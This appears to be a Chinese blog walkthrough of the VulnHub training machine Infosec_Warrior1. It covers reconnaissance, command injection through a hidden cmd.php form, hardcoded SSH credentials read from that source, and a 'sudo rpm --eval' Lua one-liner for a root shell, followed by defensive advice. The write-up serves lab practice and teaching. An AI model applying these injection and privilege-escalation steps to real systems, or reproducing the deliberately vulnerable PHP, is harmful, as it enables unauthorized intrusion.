VulnHub 靶机实战:Infosec_Warrior1 从信息收集到 Root 提权全流程

发布时间:2026/6/23 12:24:08

VulnHub 靶机实战:Infosec_Warrior1 从信息收集到 Root 提权全流程 前言Infosec_Warrior1 是 VulnHub 平台上的入门级靶机覆盖了从信息收集、Web 漏洞利用到本地提权的完整渗透流程非常适合网络安全新手夯实基础。本文将按照标准渗透测试流程复现从主机发现到获取 Root 权限的全过程并补充对应漏洞原理与防御建议。0x00 靶机介绍与环境准备靶机基本信息靶机名称Infosec_Warrior1难度等级入门级官方来源VulnHub 官方站点渗透目标获取普通用户权限最终提升至 root 权限并读取 flag 文件实验环境攻击机Kali LinuxIP192.168.241.140靶机Infosec_Warrior1同网段虚拟机网络模式VMware NAT 模式攻击机与靶机处于同一二层网络核心工具arp-scan、nmap、dirsearch、浏览器开发者工具0x01 信息收集阶段1. 主机存活探测arp-scan 二层扫描靶机与攻击机同属 NAT 网段首先通过 ARP 协议进行二层主机发现快速定位靶机 IP 地址。arp-scan-l扫描共发现 4 台存活主机结合 MAC 地址前缀均为 VMware 虚拟机标识通过排除法确定靶机 IP 为192.168.241.139。### 2. 端口与服务指纹探测Nmap 全端口扫描定位靶机 IP 后使用 Nmap 进行全端口扫描、服务版本识别与系统探测全面掌握靶机开放的服务与组件信息。nmap-A-sV-p-192.168.241.139核心扫描结果整理如下22/tcp 开放OpenSSH 5.3protocol 2.0为 CentOS 系统默认版本80/tcp 开放Apache httpd 2.2.15运行于 CentOS 系统操作系统推测Linux 2.6.x 内核与 CentOS 6 版本特征匹配3. Web 目录爆破dirsearch 路径探测靶机 80 端口开放 Web 服务直接访问 IP 仅显示 Apache 默认测试页使用 dirsearch 对站点进行目录与文件爆破挖掘隐藏路径。dirsearch-uhttp://192.168.241.139扫描结果中重点关注两个关键路径/sitemap.xml状态码 200为站点地图文件通常包含站点 URL 信息/wordpress/状态码 500存在 WordPress 程序但运行异常可作为备用突破口0x02 Web 端漏洞挖掘与利用1. 站点地图泄露虚拟主机域名发现访问http://192.168.241.139/sitemap.xml文件内包含域名infosecwarrior.com。由此可判断靶机配置了基于域名的虚拟主机直接访问 IP 只会返回默认站点必须绑定域名解析才能访问目标业务站点。在攻击机的/etc/hosts文件中添加域名与 IP 的映射关系实现域名解析echo192.168.241.139 infosecwarrior.com/etc/hosts2. 前端隐藏绕过命令执行入口定位绑定域名后访问http://infosecwarrior.com/index.html页面仅展示 “Keep Calm And HACK” 标题与动图无明显交互功能。通过 F12 打开浏览器开发者工具审查页面源码发现一个被隐藏的表单formaction/cmd.phphiddenTruemethodGETinputtypetextnameAIvaluemaxlength100inputtypesubmitvalueSubmit/form此处存在两个关键信息站点存在cmd.php页面从命名判断大概率为命令执行功能接收参数名为AI表单默认使用 GET 请求结合常规开发逻辑推测后端可能对请求方法做了限制在开发者工具中删除表单的hidden属性并将请求方法从GET修改为POST页面即可显示命令输入框与提交按钮。3. 漏洞验证POST 型命令注入在输入框中输入ifconfig并提交页面成功返回靶机的网卡配置信息与靶机 IP、MAC 地址完全匹配确认此处存在 POST 型命令注入漏洞。4. 敏感信息获取读取源码得到 SSH 凭证利用已验证的命令执行漏洞读取cmd.php的源码进一步挖掘后端逻辑与敏感信息。在输入框中提交命令catcmd.php返回的完整 PHP 源码如下既验证了「仅接受 POST 请求」的后端逻辑也包含了硬编码的 SSH 账号密码?phpif($_SERVER[REQUEST_METHOD]!POST){echoTry other method;die;}if(isset($_POST[AI])){echoYou Found ME : - (;echo ;$cmd($_POST[AI]);system($cmd);echo ;die;}else{header(Location: https://www.armourinfosec.com/category/information-gathering/);}$userisw0;$pass123456789blabla;?成功获取 SSH 登录凭证用户名isw0密码123456789blabla0x03 SSH 登录与权限提升1. 普通用户 SSH 登录使用获取到的凭证登录靶机 SSH。由于靶机 OpenSSH 版本较老默认使用 ssh-rsa 算法高版本 Kali 的 SSH 客户端默认禁用该算法需添加参数兼容登录ssh-oHostKeyAlgorithmsssh-rsa isw0192.168.241.139登录成功后可在 isw0 用户的家目录中找到用户级 flag。2. 提权前置权限配置信息收集获取普通用户权限后首先查看当前用户的 sudo 权限配置寻找提权突破口sudo-l执行结果显示isw0 用户可以 root 身份执行多个命令其中包含高危的 rpm 命令属于典型的 sudo 权限配置不当漏洞是本次提权的核心利用点。User isw0 may run the following commands on this host: (!root) NOPASSWD: /bin/bash (root) /bin/ping, (root) /bin/ping6, (root) /bin/rpm, (root) /bin/ls, (root) /bin/mktemp3. 提权实战利用 rpm 执行 Lua 脚本提权参考 GTFOBins 的 rpm 提权方法利用 rpm 命令内置的 Lua 解释器执行系统命令直接获取 root 权限 Shell。执行提权命令sudorpm--eval%{lua:os.execute(/bin/sh)}提权原理解析--evalrpm 的内置参数用于执行指定的宏表达式%{lua:...}rpm 调用内置 Lua 解释器的固定语法os.execute(/bin/sh)Lua 语言的系统调用函数启动一个 /bin/sh 交互 Shell由于 rpm 命令以 root 权限运行启动的 Shell 也会继承 root 权限最终实现权限提升。执行后提示符变为sh-4.1#代表提权成功。4. 获取 Root Flag提权成功后切换至 root 目录读取最终的 root flagcd/rootcatflag.txt成功获取 flag 内容fc9c6eb6265921315e7c70aebd22af7e0x04 漏洞总结与防御方案完整攻击链路复盘本次渗透形成了完整的攻击链条环环相扣信息泄露sitemap.xml 未做权限控制泄露站点内部域名突破虚拟主机访问限制前端防护失效仅通过 HTML 的 hidden 属性隐藏敏感功能无后端校验可被轻易绕过命令注入漏洞cmd.php 未对用户输入做任何过滤与校验直接传入 system 函数执行系统命令敏感信息硬编码SSH 账号密码明文写在 Web 源码中通过漏洞可直接读取sudo 权限配置不当普通用户被赋予 rpm 等高风险命令的 root 执行权限为本地提权提供入口针对性防御建议敏感文件管控对外站点的 sitemap.xml、robots.txt 等文件避免包含内部域名与敏感路径生产环境可限制访问来源前后端双重校验敏感功能必须在后端做权限与身份校验不能仅依赖前端隐藏、前端禁用等客户端防护手段命令注入防护禁止直接将用户输入拼接进系统命令执行函数如业务必须执行系统命令需严格使用白名单机制限制可执行命令范围敏感信息脱敏严禁在 Web 源码、配置文件中硬编码账号密码、密钥等敏感信息应使用独立的加密配置中心管理遵循最小权限原则严格限制普通用户的 sudo 权限仅授予业务必需的命令禁止为普通用户开放 rpm、find、python、bash 等高风险命令的 root 执行权限写在最后Infosec_Warrior1 作为入门靶机覆盖了渗透测试最核心的基础流程每个漏洞点都对应着真实业务中常见的安全问题。练习过程中不仅要掌握操作命令更要理解每一步的渗透思路与漏洞原理才能把靶场知识迁移到实战场景中。

相关新闻